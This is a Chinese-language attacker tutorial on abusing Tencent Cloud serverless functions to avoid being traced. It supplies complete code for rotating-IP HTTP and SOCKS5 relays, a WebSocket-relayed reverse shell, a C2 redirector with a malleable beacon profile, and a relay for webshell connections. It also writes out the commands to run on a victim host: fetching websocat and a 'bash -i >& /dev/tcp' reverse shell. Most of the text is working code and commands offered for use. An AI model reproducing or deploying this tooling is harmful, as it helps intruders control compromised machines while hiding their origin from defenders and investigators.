云函数防溯源,SCF,Serverless

无图版

一.简介

1.云函数(Serverless Cloud Function,SCF)

  • 多出口
  • 调用时创建执行
  • 无需服务器承载
  • 云函数无法常驻,类似于HTTP协议这种无状态协议,所以建议不使用ssh长连接
  • 不能直接调用,需要触发器,使用http请求触发触发器。
地址:
https://console.cloud.tencent.com/scf/index?rid=1

2.HTTP PROXY

客户端挂上代理,然后以POST形式把数据发给远端SCF,然后由云解析函数进行发起请求。

二.操作

1.HTTP 代理

服务端配置

从头开始,填写名称,选择python环境

image-20220111203235921

填写代码,修改token(服务端与本地一致)

image-20220111203345271

代码:

# -*- coding: utf8 -*-
import json
import pickle
from base64 import b64decode, b64encode

import requests

SCF_TOKEN = "cmrex"

def authorization():
  return {
      "isBase64Encoded": False,
      "statusCode": 401,
      "headers": {},
      "body": "Please provide correct SCF-Token",
  }

def main_handler(event: dict, context: dict):
  try:
      token = event["headers"]["scf-token"]
  except KeyError:
      return authorization()

  if token != SCF_TOKEN:
      return authorization()

  data = event["body"]
  kwargs = json.loads(data)
  kwargs['data'] = b64decode(kwargs['data'])
  r = requests.request(**kwargs, verify=False, allow_redirects=False)

  serialized_resp = pickle.dumps(r)

  return {
      "isBase64Encoded": False,
      "statusCode": 200,
      "headers": {},
      "body": b64encode(serialized_resp).decode("utf-8"),
  }

时间越长越好(^_^)

image-20220111203530690

然后创建触发器,API网关触发,其他默认:

image-20220111203617833
image-20220111203655159

然后获取访问路径

image-20220111203739104

客户端配置完毕

客户端配置

使用mitmproxy代理,pip安装

pip3 install mitmproxy

安装证书:

证书位置,双击安装

image-20220111204345271

然后配置本地代码:

# -*- coding: utf8 -*-
import json
import pickle
from typing import List
from random import choice
from urllib.parse import urlparse
from base64 import b64encode, b64decode
import mitmproxy

scf_servers: List[str] = []
SCF_TOKEN = "TOKEN"

def request(flow: mitmproxy.http.HTTPFlow):
  scf_server = choice(scf_servers)
  r = flow.request
  data = {
      "method": r.method,
      "url": r.pretty_url,
      "headers": dict(r.headers),
      "cookies": dict(r.cookies),
      "params": dict(r.query),
      "data": b64encode(r.raw_content).decode("ascii"),
  }

  flow.request = flow.request.make(
      "POST",
      url=scf_server,
      content=json.dumps(data),
      headers={
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
          "Accept-Encoding": "gzip, deflate, compress",
          "Accept-Language": "en-us;q=0.8",
          "Cache-Control": "max-age=0",
          "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
          "Connection": "close",
          "Host": urlparse(scf_server).netloc,
          "SCF-Token": SCF_TOKEN,
      },
  )

def response(flow: mitmproxy.http.HTTPFlow):
  if flow.response.status_code != 200:
      mitmproxy.ctx.log.warn("Error")

  if flow.response.status_code == 401:
      flow.response.headers = Headers(content_type="text/html;charset=utf-8")
      return

  if flow.response.status_code == 433:
      flow.response.headers = Headers(content_type="text/html;charset=utf-8")
      flow.response.text = "<html><body>操作超时,可在函数配置中修改执行超时时间</body></html>"
      return

  if flow.response.status_code == 200:
      body = flow.response.content.decode("utf-8")
      resp = pickle.loads(b64decode(body))

      r = flow.response.make(
          status_code=resp.status_code,
          headers=dict(resp.headers),
          content=resp.content,
      )
      flow.response = r

需要将触发器中的访问路径添加至 client.pyscf_servers 变量中,以逗号 ,分隔。scf_servers参数可以添加多个API接口,这样就可以获取更多的IP池。

image-20220111204841159

效果

启动脚本

mitmdump -s client.py -p 8081 --no-http2

成功代理:

image-20220111205147883
image-20220111205753148

然后我们看自己的IP,每次都在变化

image-20220111205824299
image-20220111205834304
image-20220111205841594

2.socks5代理

介绍

正常 SOCKS5代理请求的流程为服务端监听来自客户端的请求,当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket B,同步两个 socket 的 IO操作。

socket可对外发起连接,云函数能对外发包,因此我们可以将云函数当作中间人,一侧对 VPS 发起连接,另一侧对目标服务器发起连接。

SOCKS5 主要分为 3 个步骤:

  • 认证:对客户端发起的连接进行认证
  • 建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接
  • 转发数据:分别将来自客户端、服务器的数据转发给对方

服务器端口

配置名字等基本信息

image-20220112162526026

代码,注意修改自己服务器的ip和端口

# -*- coding: utf8 -*-
# server.py
import json
import socket
import select

bridge_ip = "ip"
bridge_port = port

def main_handler(event, context):
  data = json.loads(event["body"])
  out = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  out.connect((data["host"], data["port"]))

  bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  bridge.connect((bridge_ip, bridge_port))
  bridge.send(data["uid"].encode("ascii"))

  while True:
      readable, _, _ = select.select([out, bridge], [], [])
      if out in readable:
          data = out.recv(4096)
          bridge.send(data)
      if bridge in readable:
          data = bridge.recv(4096)
          out.send(data)

注意:需要修改server.py 中的 bridge_ipbridge_port 为自己 VPSip 及开启监听的端口

设置900:

image-20220112163013164

创建触发器:

image-20220112163043347

得到路径:

image-20220112163107766

客户端配置

代码:socks5.py

# Python >= 3.8
import asyncio
import argparse
from socket import inet_ntoa
from functools import partial

import uvloop
import shortuuid

from bridge import scf_handle
from models import Conn, http, uid_socket
from utils import print_time, parse_args, cancel_task


async def socks_handle(
  args: argparse.Namespace, reader: asyncio.StreamReader, writer: asyncio.StreamWriter
):
  client = Conn("Client", reader, writer)

  await socks5_auth(client, args)
  remote_addr, port = await socks5_connect(client)

  client.target = f"{remote_addr}:{port}"
  uid = shortuuid.ShortUUID().random(length=4)
  uid_socket[uid] = client

  data = {"host": remote_addr, "port": port, "uid": uid}
  await http.post(args.scf_url, json=data)


async def socks5_auth(client: Conn, args: argparse.Namespace):
  ver, nmethods = await client.read(2)

  if ver != 0x05:
      client.close()
      cancel_task(f"Invalid socks5 version: {ver}")

  methods = await client.read(nmethods)

  if args.user and b"\x02" not in methods:
      cancel_task(
          f"Unauthenticated access from {client.writer.get_extra_info('peername')[0]}"
      )

  if b"\x02" in methods:
      await client.write(b"\x05\x02")
      await socks5_user_auth(client, args)
  else:
      await client.write(b"\x05\x00")


async def socks5_user_auth(client: Conn, args: argparse.Namespace):
  ver, username_len = await client.read(2)
  if ver != 0x01:
      client.close()
      cancel_task(f"Invalid socks5 user auth version: {ver}")

  username = (await client.read(username_len)).decode("ascii")
  password_len = ord(await client.read(1))
  password = (await client.read(password_len)).decode("ascii")

  if username == args.user and password == args.passwd:
      await client.write(b"\x01\x00")
  else:
      await client.write(b"\x01\x01")
      cancel_task(
          f"Wrong user/passwd connection from {client.writer.get_extra_info('peername')[0]}"
      )


async def socks5_connect(client: Conn):
  ver, cmd, _, atyp = await client.read(4)
  if ver != 0x05:
      client.close()
      cancel_task(f"Invalid socks5 version: {ver}")
  if cmd != 1:
      client.close()
      cancel_task(f"Invalid socks5 cmd type: {cmd}")

  if atyp == 1:
      address = await client.read(4)
      remote_addr = inet_ntoa(address)
  elif atyp == 3:
      addr_len = await client.read(1)
      address = await client.read(ord(addr_len))
      remote_addr = address.decode("ascii")
  elif atyp == 4:
      cancel_task("IPv6 not supported")
  else:
      cancel_task("Invalid address type")

  port = int.from_bytes(await client.read(2), byteorder="big")

  # Should return bind address and port, but it's ok to just return 0.0.0.0
  await client.write(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00")
  return remote_addr, port


async def main():
  args = parse_args()
  handle = partial(socks_handle, args)

  if not args.user:
      print_time("[ALERT] Socks server runs without authentication")

  await http.init_session()
  socks_server = await asyncio.start_server(handle, args.listen, args.socks_port)
  print_time(f"SOCKS5 Server listening on: {args.listen}:{args.socks_port}")
  await asyncio.start_server(scf_handle, args.listen, args.bridge_port)
  print_time(f"Bridge Server listening on: {args.listen}:{args.bridge_port}")

  try:
      await socks_server.serve_forever()
  except asyncio.CancelledError:
      await http.close()


if __name__ == "__main__":
  uvloop.install()
  try:
      asyncio.run(main())
  except KeyboardInterrupt:
      print_time("[INFO] User stoped server")

bridge.py:

import asyncio

from utils import print_time
from models import Conn, uid_socket


async def scf_handle(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
  bridge = Conn("Bridge", reader, writer)
  uid = await bridge.read(4)
  uid = uid.decode("ascii")
  client = uid_socket[uid]
  bridge.target = client.target
  bridge_addr, _ = bridge.writer.get_extra_info("peername")
  print_time(f"Tencent IP:{bridge_addr} <=> {client.target} established")

  await socks5_forward(client, bridge)


async def socks5_forward(client: Conn, target: Conn):
  async def forward(src: Conn, dst: Conn):
      while True:
          try:
              data = await src.read(4096)
              if not data:
                  break
              await dst.write(data)
          except RuntimeError as e:
              print_time(f"RuntimeError occured when connecting to {src.target}")
              print_time(f"Direction: {src.role} => {dst.role}")
              print(e)
          except ConnectionResetError:
              print_time(f"{src.add} sends a ConnectionReset")
              pass

          await asyncio.sleep(0.01)

  tasks = [forward(client, target), forward(target, client)]
  await asyncio.gather(*tasks)

models.py:

import asyncio
from typing import Union
from collections import OrderedDict

import aiohttp


class Conn:
def __init__(
self,
role: str,
reader: asyncio.StreamReader,
writer: asyncio.StreamWriter,
) -> None:
self.target = None
self.role = role
self.reader = reader
self.writer = writer

async def read(self, size: int):
return await self.reader.read(size)

async def write(self, data: Union[str, bytes]):
self.writer.write(data)
await self.writer.drain()

def close(self):
self.writer.close()


class LRUDict(OrderedDict):
def __init__(self, capacity):
self.capacity = capacity
self.cache = OrderedDict()

def get(self, key):
value = self.cache.pop(key)
self.cache[key] = value
return value

def set(self, key, value):
if key in self.cache:
self.cache.pop(key)
elif len(self.cache) == self.capacity:
self.cache.popitem(last=True)
self.cache[key] = value


class Request:
def __init__(self):
self._session = None

async def init_session(self):
self._session = aiohttp.ClientSession()

async def request(self, method, url, bypass_cf=False, **kwargs):
await self._session.request(method=method, url=url, **kwargs)

async def post(self, url, **kwargs):
return await self.request("POST", url, **kwargs)

async def close(self):
await self._session.close()


http = Request()
uid_socket = LRUDict(150)

utils.py:

import sys
import asyncio
import argparse
from datetime import datetime, timezone, timedelta


timezone(timedelta(hours=8))


def print_time(data):
print(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {data}')


def parse_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h or --help for help")
sys.exit()


def parse_args():
parser = argparse.ArgumentParser(description="SCF Socks5 Proxy Server")
parser.error = parse_error

parser.add_argument(
"-u", "--scf-url", type=str, help="API Gate Way URL", required=True
)
parser.add_argument(
"-l",
"--listen",
default="0.0.0.0",
metavar="ip",
help="Bind address to listen, default to 0.0.0.0",
)
parser.add_argument(
"-sp",
"--socks-port",
type=int,
help="Port accept connections from client",
required=True,
)
parser.add_argument(
"-bp",
"--bridge-port",
type=int,
help="Port accept connections from SCF",
required=True,
)
parser.add_argument("--user", type=str, help="Authentication username")
parser.add_argument("--passwd", type=str, help="Authentication password")
args = parser.parse_args()
return args


def cancel_task(msg):
print_time(f"[ERROR] {msg}")
task = asyncio.current_task()
task.cancel()

然后vps上开启:

python3 socks5.py -u "https://service-9nfraiy4-1300357508.gz.apigw.tencentcs.com/release/socks5" -bp 6666 -sp 7777 --user test --passwd test
  • -u 参数需要填写 API 网关提供的地址,必填
  • -l 表示本机监听的 ip,默认为 0.0.0.0
  • -sp 表示 SOCKS5 代理监听的端口,必填
  • bp 表示用于监听来自云函数连接的端口,与 server.py 中的 bridge_port 相同,必填
  • --user--passwd 用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码
image-20220112172313836

效果

然后配置代理:

image-20220112172814608
image-20220112173137197

ip地址确实都变了

image-20220112173346153

3.反弹shell

介绍

当客户端有消息发出时,会先传递给 API 网关,再由 API 网关触发云函数执行。当服务端云函数要向客户端发送消息时,会先由云函数将消息 POST 到 API 网关的反向推送链接,再由 API 网关向客户端完成消息的推送。具体的实现架构如下:

image-20220117171220454

所以我们利用websocket进行反弹shell,从而达到反弹shell的作用

image-20220117171351678

服务端配置

需要一个允许外联的MySql数据库进行配置:

创建数据库

create database SCF;
use SCF;
create table Connections (
ConnectionID varchar(128) NOT NULL,
Date datetime,
is_user tinyint
)

修改 src 文件夹内所有文件中的如下变量

db_host = 数据库 host
db_port = 数据库端口
db_user = 数据库用户
db_pass = 数据库密码

push_back_host = 等后续配置 API 网关后填写

参照 [HTTP 代理配置] 新建三个自定义函数,分别命名为 register, transmission, delete。

  • register.pypyName:register.py
    # -*- coding: utf8 -*-
    import pytz
    import datetime
    import requests
    import pymysql.cursors


    push_back_host = “”
    db_host = “”
    db_user = “”
    db_pass = “”
    db_port = 123

    db = “SCF”
    db_table = “Connections”
    tz = pytz.timezone(“Asia/Shanghai”)


    def send(connectionID, data):
    retmsg = {
    “websocket”: {
    “action”: “data send”,
    “secConnectionID”: connectionID,
    “dataType”: “text”,
    “data”: data,
    }
    }
    requests.post(push_back_host, json=retmsg)


    def close_ws(connectionID):
    msg = {“websocket”: {“action”: “closing”, “secConnectionID”: connectionID}}
    requests.post(push_back_host, json=msg)


    def record_connectionID(connectionID):
    try:
    conn = pymysql.connect(
    host=db_host,
    user=db_user,
    password=db_pass,
    port=db_port,
    db=db,
    charset=”utf8″,
    cursorclass=pymysql.cursors.DictCursor,
    )
    with conn.cursor() as cursor:
    sql = f”use {db}”
    cursor.execute(sql)
    time = datetime.datetime.now(tz).strftime(“%Y-%m-%d %H:%M:%S”)
    sql = f”insert INTO {db_table} (`ConnectionID`, `is_user`, `Date`) VALUES (‘{str(connectionID)}’, 0, ‘{time}’)”
    cursor.execute(sql)
    conn.commit()
    except Exception as e:
    send(connectionID, f”[Error]: {e}”)
    close_ws(connectionID)
    finally:
    conn.close()


    def main_handler(event, context):
    if “requestContext” not in event.keys():
    return {“errNo”: 101, “errMsg”: “not found request context”}
    if “websocket” not in event.keys():
    return {“errNo”: 102, “errMsg”: “not found web socket”}

    connectionID = event[“websocket”][“secConnectionID”]
    retmsg = {
    “errNo”: 0,
    “errMsg”: “ok”,
    “websocket”: {“action”: “connecting”, “secConnectionID”: connectionID},
    }
    record_connectionID(connectionID)
    return retmsg
  • transmission.py#pyName:transmission.py
    # -*- coding: utf8 -*-
    from os import close
    import pytz
    import requests
    import pymysql.cursors


    push_back_host = “”
    db_host = “”
    db_user = “”
    db_pass = “”
    db_port = 123
    PASSWORD = “test”


    db = “SCF”
    db_table = “Connections”
    tz = pytz.timezone(“Asia/Shanghai”)


    def send(connectionID, data):
    retmsg = {
    “websocket”: {
    “action”: “data send”,
    “secConnectionID”: connectionID,
    “dataType”: “text”,
    “data”: data,
    }
    }
    requests.post(push_back_host, json=retmsg)


    def close_ws(connectionID):
    msg = {“websocket”: {“action”: “closing”, “secConnectionID”: connectionID}}
    requests.post(push_back_host, json=msg)


    def get_connectionIDs(conn):
    with conn.cursor() as cursor:
    sql = f”use {db}”
    cursor.execute(sql)
    sql = f”select * from {db_table}”
    cursor.execute(sql)
    result = cursor.fetchall()
    connectionIDs = {c[“ConnectionID”]: c[“is_user”] for c in result}
    return connectionIDs


    def update_user_type(conn, connectionID):
    with conn.cursor() as cursor:
    sql = f”use {db}”
    cursor.execute(sql)
    sql = f”update {db_table} set is_user=True where ConnectionID='{connectionID}'”
    cursor.execute(sql)
    conn.commit()


    def main_handler(event, context):
    if “websocket” not in event.keys():
    return {“errNo”: 102, “errMsg”: “not found web socket”}
    data = event[“websocket”][“data”].strip()
    current_connectionID = event[“websocket”][“secConnectionID”]

    if data == “close”:
    send(current_connectionID, “[INFO] current connection closed”)
    close_ws(current_connectionID)
    return

    if data == “help”:
    msg = “””Commands
    auth PASSWORD – provide a password to set current connection to be a user
    close – close curren websocket connection
    closeall – close all websocket connections
    help – show this help message
    “””
    send(current_connectionID, msg)
    return

    conn = pymysql.connect(
    host=db_host,
    user=db_user,
    password=db_pass,
    port=db_port,
    db=db,
    charset=”utf8″,
    cursorclass=pymysql.cursors.DictCursor,
    )
    connectionIDs = get_connectionIDs(conn)

    if data[:5] == “auth “:
    try:
    password = data.split()[1]
    except IndexError:
    password = None
    if password == PASSWORD:
    send(current_connectionID, “[INFO] AUTH SUCCESS”)
    update_user_type(conn, current_connectionID)
    else:
    send(current_connectionID, “[ERROR] AUTH FAILED”)
    if data == “closeall”:
    send(current_connectionID, “[INFO] all connections closed”)
    for ID in connectionIDs.keys():
    close_ws(ID)
    return

    is_current_user = connectionIDs.pop(current_connectionID)
    for ID, is_user in connectionIDs.items():
    if is_current_user:
    send(ID, data)
    elif is_user:
    send(ID, data)

    return “send success”
  • delete.py#pcName:delete.py
    # -*- coding: utf8 -*-
    import pytz
    import pymysql.cursors


    push_back_host = “”
    db_host = “”
    db_user = “”
    db_pass = “”
    db_port = 123

    db = “SCF”
    db_table = “Connections”
    tz = pytz.timezone(“Asia/Shanghai”)


    def delete_connectionID(connectionID):
    conn = pymysql.connect(
    host=db_host,
    user=db_user,
    password=db_pass,
    port=db_port,
    db=db,
    charset=”utf8″,
    cursorclass=pymysql.cursors.DictCursor,
    )
    with conn.cursor() as cursor:
    sql = f”use {db}”
    cursor.execute(sql)
    sql = f”delete from {db_table} where ConnectionID ='{connectionID}'”
    cursor.execute(sql)
    conn.commit()


    def main_handler(event, context):
    if “websocket” not in event.keys():
    return {“errNo”: 102, “errMsg”: “not found web socket”}

    connectionID = event[“websocket”][“secConnectionID”]
    delete_connectionID(connectionID)
    return event

进入API网管配置

image-20220117172102795

新建 API,前端类型选择 WS,其余默认,进入下一步

开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下

image-20220117172212610

点击立即完成,发布服务

点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的 push_back_host 变量

image-20220117172316043

修改 transmission.py 中的 PASSWORD 变量,该变量将用于客户端连接 ws 后将连接认证为用户

分别复制三个文件的内容到对应的云函数中并部署

客户端配置

上传/远程下载websocat工具到受害主机

受害主机执行工具转发端口 websocat -E --text tcp-l:127.0.0.1:12345 ws://API网关地址

反弹shell到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

攻击者连接 ws://API网关地址 ,通过云函数进行消息中转

4.C2域名隐藏

https://console.cloud.tencent.com/apigateway/service?rid=1

与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

创建一个profile:

set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/api/x";

client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

日常云函数,网关等

image-20220117193324070

把默认访问地址放入c2即可

5.webshell隐藏

原理就是通过腾讯云的云函数将我们的请求进行转发

基础配置

image-20220118092947965

然后配置代码:

# -*- coding: utf8 -*-
import requests
import json

def geturl(urlstr):
jurlstr = json.dumps(urlstr)
dict_url = json.loads(jurlstr)
return dict_url['u']

def main_handler(event, context):
url = geturl(event['queryString'])
postdata = event['body']
headers=event['headers']
resp=requests.post(url,data=postdata,headers=headers,verify=False)
response={
"isBase64Encoded": False,
"statusCode": 200,
"headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},
"body": resp.text
}
return response

高级配置:默认

创建触发器,选择默认创建触发器

image-20220118093058266

获得路径:

image-20220118093200592

使用蚁剑链接:

https://service-xxxx.com/release/xxx?u=http://xx.xx.xx.xx/1.php
https://service-pl53ygo4-1300357508.gz.apigw.tencentcs.com/release/webshell?u=http://121.43.133.39/

然后我们查看连接ip,都是不一样的。

6.代理池

https://github.com/hashsecteam/scf-proxy

下载这个,server.zip

然后部署:还是选择自定义创建,但是运行环境这里要选择Go,而不是默认的python

image-20220118101346379

生成:

make
image-20220118104722038

触发器还是api网关触发:

image-20220118104806375

得到:

image-20220118104825282

然后再测试

./client -port 10086 https://service-xxxx.com/release/xxx

然后代理我们就使用本机的10086端口即可